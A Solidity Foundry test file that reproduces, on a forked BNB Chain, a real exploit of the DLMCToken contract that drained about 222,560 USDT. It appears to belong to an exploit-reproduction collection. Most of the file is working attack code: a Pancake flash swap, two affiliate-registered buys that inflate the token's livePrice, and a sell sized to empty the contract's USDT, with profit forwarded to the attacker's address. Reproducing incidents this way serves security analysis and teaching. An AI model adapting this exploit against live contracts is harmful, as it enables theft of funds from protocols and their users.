src/test/2026-06/DLMC_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 222,560.22 USDT
8// Attacker : 0x701bb7b460ae231dbbcfa3d87f0ab5b458429699
9// Attack Contract : 0xe81bf6e392eca9ad594b5452ea53cf7071760a04
10// Attack Deployer : 0x74c4a756933d0f713facb1dea325ef511646c3b1
11// Vulnerable Contract : 0xf2ca2a3572b26ae7c479dc7ae36d922113b1bdf2
12// Victim : 0xf2ca2a3572b26ae7c479dc7ae36d922113b1bdf2
13// Attack Tx : https://bscscan.com/tx/0x151025d3f0a782340a74d30ef33a5fad044b838e74437a803f0652e70c231306
14 
15// @Info
16// Vulnerable Contract Code : https://bscscan.com/address/0xf2ca2a3572b26ae7c479dc7ae36d922113b1bdf2#code
17 
18// @Analysis
19// Twitter Guy : https://x.com/TenArmorAlert/status/2069957542109958498
20//
21// The attacker used a Pancake USDT/WBNB flash swap to buy DLMC through two registered contracts. The second buy
22// inflated DLMCToken's reserve-derived livePrice, then the first contract sold the maximum DLMC amount backed by
23// DLMCToken's USDT balance, draining nearly all protocol USDT before repaying the Pancake pair.
24 
25address constant ATTACKER = 0x701Bb7B460ae231DBBcFA3d87f0aB5B458429699;
26address constant ATTACK_DEPLOYER = 0x74c4A756933D0F713FAcB1DeA325eF511646c3B1;
27address constant DLMC_TOKEN = 0xF2ca2A3572B26Ae7c479dC7ae36D922113B1bdF2;
28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
30address constant PANCAKE_USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
31address constant REGISTERED_REFERRER = 0x62cefE76EEcc737D7ee384eFDbAd8D2C53c1d792;
32 
33interface IDLMCToken is IERC20 {
34    function registerAffiliate(
35        address referrer
36    ) external;
37    function buy(
38        uint256 amountQuote
39    ) external;
40    function sell(
41        uint256 amountTokens
42    ) external;
43    function livePrice() external view returns (uint256);
44}
45 
46contract ContractTest is BaseTestWithBalanceLog {
47    function setUp() public {
48        uint256 forkBlock = 106_091_606;
49        vm.createSelectFork("bsc", forkBlock);
50        fundingToken = USDT_TOKEN;
51 
52        vm.label(ATTACKER, "Attacker profit receiver");
53        vm.label(ATTACK_DEPLOYER, "Attack deployer");
54        vm.label(DLMC_TOKEN, "DLMCToken");
55        vm.label(USDT_TOKEN, "USDT");
56        vm.label(WBNB_TOKEN, "WBNB");
57        vm.label(PANCAKE_USDT_WBNB_PAIR, "Pancake USDT/WBNB pair");
58        vm.label(REGISTERED_REFERRER, "Registered DLMC referrer");
59    }
60 
61    function testExploit() public balanceLog2(ATTACKER) {
62        uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
63 
64        vm.startPrank(ATTACK_DEPLOYER, ATTACK_DEPLOYER);
65        DLMCExploit exploit = new DLMCExploit(ATTACKER);
66        exploit.execute();
67        vm.stopPrank();
68 
69        uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
70        logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
71        assertGt(profit, 222_000 ether, "USDT profit after Pancake repayment");
72        assertLe(IERC20(USDT_TOKEN).balanceOf(DLMC_TOKEN), 10, "DLMCToken USDT drained");
73    }
74}
75 
76contract DLMCExploit {
77    IDLMCToken private constant dlmc = IDLMCToken(DLMC_TOKEN);
78    IERC20 private constant usdt = IERC20(USDT_TOKEN);
79    IPancakePair private constant pair = IPancakePair(PANCAKE_USDT_WBNB_PAIR);
80 
81    uint256 private constant FLASH_USDT = 1_420_000 ether;
82 
83    address private immutable profitReceiver;
84 
85    constructor(
86        address profitReceiver_
87    ) {
88        profitReceiver = profitReceiver_;
89    }
90 
91    function execute() external {
92        require(IPancakePair(PANCAKE_USDT_WBNB_PAIR).token0() == USDT_TOKEN, "unexpected token0");
93        require(IPancakePair(PANCAKE_USDT_WBNB_PAIR).token1() == WBNB_TOKEN, "unexpected token1");
94 
95        // step 1: borrow USDT from the Pancake USDT/WBNB pair.
96        pair.swap(FLASH_USDT, 0, address(this), abi.encode(uint256(1)));
97    }
98 
99    function pancakeCall(
100        address sender,
101        uint256 amount0,
102        uint256 amount1,
103        bytes calldata
104    ) external {
105        require(msg.sender == PANCAKE_USDT_WBNB_PAIR, "not Pancake pair");
106        require(sender == address(this), "unexpected sender");
107        require(amount0 == FLASH_USDT && amount1 == 0, "unexpected flash amount");
108 
109        // step 2: register the coordinator under the same already-registered referrer used in the trace.
110        dlmc.registerAffiliate(REGISTERED_REFERRER);
111 
112        // step 3: first buy from the coordinator; this gives the coordinator investment capacity for sell().
113        usdt.approve(DLMC_TOKEN, type(uint256).max);
114        uint256 firstBuyUsdt = 420_000 ether;
115        dlmc.buy(firstBuyUsdt);
116 
117        // step 4: second buy from a child helper registered under the coordinator.
118        DLMCBuyHelper helper = new DLMCBuyHelper();
119        uint256 helperBuyUsdt = 1_000_000 ether;
120        usdt.transfer(address(helper), helperBuyUsdt);
121        helper.buy(DLMC_TOKEN, USDT_TOKEN, address(this), helperBuyUsdt);
122 
123        // step 5: derive the trace sell amount from current DLMC liquidity and livePrice.
124        uint256 tokenBalance = dlmc.balanceOf(address(this));
125        uint256 liquidityBackedSellAmount = (usdt.balanceOf(DLMC_TOKEN) * 1e18) / dlmc.livePrice();
126        uint256 sellAmount = tokenBalance < liquidityBackedSellAmount ? tokenBalance : liquidityBackedSellAmount;
127        dlmc.sell(sellAmount);
128 
129        // step 6: repay the Pancake V2 flash swap with the pair's 0.25% fee.
130        uint256 repayAmount = _pancakeRepay(FLASH_USDT);
131        usdt.transfer(PANCAKE_USDT_WBNB_PAIR, repayAmount);
132 
133        // step 7: forward the remaining USDT to the trace profit receiver.
134        usdt.transfer(profitReceiver, usdt.balanceOf(address(this)));
135    }
136 
137    function _pancakeRepay(
138        uint256 amount
139    ) private pure returns (uint256) {
140        return (amount * 10_000) / 9975 + 1;
141    }
142}
143 
144contract DLMCBuyHelper {
145    function buy(
146        address dlmcToken,
147        address quoteToken,
148        address referrer,
149        uint256 amount
150    ) external {
151        IDLMCToken dlmc_ = IDLMCToken(dlmcToken);
152        IERC20 usdt_ = IERC20(quoteToken);
153 
154        // step 4a: the trace helper registers under the main coordinator before buying.
155        dlmc_.registerAffiliate(referrer);
156        usdt_.approve(dlmcToken, type(uint256).max);
157        dlmc_.buy(amount);
158    }
159}